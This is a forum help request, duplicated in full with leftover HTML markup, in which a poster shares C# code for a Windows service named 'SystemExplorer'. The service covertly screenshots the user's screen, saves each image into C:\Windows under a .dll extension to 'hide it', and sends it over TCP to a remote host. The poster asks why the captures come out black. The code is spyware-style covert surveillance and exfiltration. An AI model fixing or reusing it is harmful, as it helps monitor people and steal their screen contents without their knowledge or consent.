EDN Admin
Well-known member
I created a service that would take a screenshot of the user screen and send it over the network, it worked fine in a Windows.Forms environment but as soon as i made it into a service the code stopped functioning, mainly the part that takes the screenshot.
I keep getting a black image, is it the hidden service window? or is the code not designed for services use??
<div style="color:black; background-color:white
<pre><span style="color:blue namespace SystemExplorer
{
<span style="color:blue public <span style="color:blue partial <span style="color:blue class Service1 : ServiceBase
{
<span style="color:blue private <span style="color:blue static Bitmap bmpScreenshot;
<span style="color:blue private <span style="color:blue static Graphics gfxScreenshot;
<span style="color:blue public Service1()
{
InitializeComponent();
}
<span style="color:blue protected <span style="color:blue override <span style="color:blue void OnStart(<span style="color:blue string[] args)
{
<span style="color:blue try
{
ServiceController servicest = <span style="color:blue new ServiceController(ServiceName);
servicest.Start();
}
<span style="color:blue catch {
Console.WriteLine(<span style="color:#a31515 "FAILED TO START");
}
}
<span style="color:blue protected <span style="color:blue override <span style="color:blue void OnStop()
{
Application.Exit();
}
<span style="color:blue int inst = 0;
<span style="color:blue private <span style="color:blue void timer1_(<span style="color:blue object sender, EventArgs e)
{
<span style="color:blue try
{
<span style="color:blue int inst2 = inst;
inst2--;
<span style="color:blue string filenam = <span style="color:#a31515 "C:\Windows\picC" + inst + <span style="color:#a31515 ".dll";
<span style="color:blue string filenam2 = <span style="color:#a31515 "C:\Windows\picC" + inst2 + <span style="color:#a31515 ".dll";
<span style="color:blue if (inst != 0)
File.Delete(filenam2);
inst++;
bmpScreenshot = <span style="color:blue new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
<span style="color:green // Create a graphics object from the bitmap
gfxScreenshot = Graphics.FromImage(bmpScreenshot);
<span style="color:green // Take the screenshot from the upper left corner to the right bottom corner
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
<span style="color:green // Save the screenshot to the specified path that the user has chosen
bmpScreenshot.Save(filenam, System.Drawing.Imaging.ImageFormat.Jpeg);
Stream Fs = File.OpenRead(filenam);
Byte[] buffer = <span style="color:blue new Byte[Fs.Length];
Fs.Read(buffer, 0, buffer.Length);
TcpClient socket = <span style="color:blue new TcpClient(<span style="color:#a31515 "192.168.0.7", 1095);
NetworkStream nw = socket.GetStream();
nw.Write(buffer, 0, buffer.Length);
nw.Close();
Fs.Close();
}
<span style="color:blue catch (Exception st)
{
Console.WriteLine(<span style="color:#a31515 "{0} Exception caught.", st);
}
gfxScreenshot.Dispose();
bmpScreenshot.Dispose();
}
}
}
[/code]
<br/>
Forgot to mention, when i temporarly save the image data, i save it as .dll extension to "hide it" slightly and then when the data is transmitted to the server it gets saved as .jpg
View the full article
I keep getting a black image, is it the hidden service window? or is the code not designed for services use??
<div style="color:black; background-color:white
<pre><span style="color:blue namespace SystemExplorer
{
<span style="color:blue public <span style="color:blue partial <span style="color:blue class Service1 : ServiceBase
{
<span style="color:blue private <span style="color:blue static Bitmap bmpScreenshot;
<span style="color:blue private <span style="color:blue static Graphics gfxScreenshot;
<span style="color:blue public Service1()
{
InitializeComponent();
}
<span style="color:blue protected <span style="color:blue override <span style="color:blue void OnStart(<span style="color:blue string[] args)
{
<span style="color:blue try
{
ServiceController servicest = <span style="color:blue new ServiceController(ServiceName);
servicest.Start();
}
<span style="color:blue catch {
Console.WriteLine(<span style="color:#a31515 "FAILED TO START");
}
}
<span style="color:blue protected <span style="color:blue override <span style="color:blue void OnStop()
{
Application.Exit();
}
<span style="color:blue int inst = 0;
<span style="color:blue private <span style="color:blue void timer1_(<span style="color:blue object sender, EventArgs e)
{
<span style="color:blue try
{
<span style="color:blue int inst2 = inst;
inst2--;
<span style="color:blue string filenam = <span style="color:#a31515 "C:\Windows\picC" + inst + <span style="color:#a31515 ".dll";
<span style="color:blue string filenam2 = <span style="color:#a31515 "C:\Windows\picC" + inst2 + <span style="color:#a31515 ".dll";
<span style="color:blue if (inst != 0)
File.Delete(filenam2);
inst++;
bmpScreenshot = <span style="color:blue new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
<span style="color:green // Create a graphics object from the bitmap
gfxScreenshot = Graphics.FromImage(bmpScreenshot);
<span style="color:green // Take the screenshot from the upper left corner to the right bottom corner
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
<span style="color:green // Save the screenshot to the specified path that the user has chosen
bmpScreenshot.Save(filenam, System.Drawing.Imaging.ImageFormat.Jpeg);
Stream Fs = File.OpenRead(filenam);
Byte[] buffer = <span style="color:blue new Byte[Fs.Length];
Fs.Read(buffer, 0, buffer.Length);
TcpClient socket = <span style="color:blue new TcpClient(<span style="color:#a31515 "192.168.0.7", 1095);
NetworkStream nw = socket.GetStream();
nw.Write(buffer, 0, buffer.Length);
nw.Close();
Fs.Close();
}
<span style="color:blue catch (Exception st)
{
Console.WriteLine(<span style="color:#a31515 "{0} Exception caught.", st);
}
gfxScreenshot.Dispose();
bmpScreenshot.Dispose();
}
}
}
[/code]
<br/>
Forgot to mention, when i temporarly save the image data, i save it as .dll extension to "hide it" slightly and then when the data is transmitted to the server it gets saved as .jpg
View the full article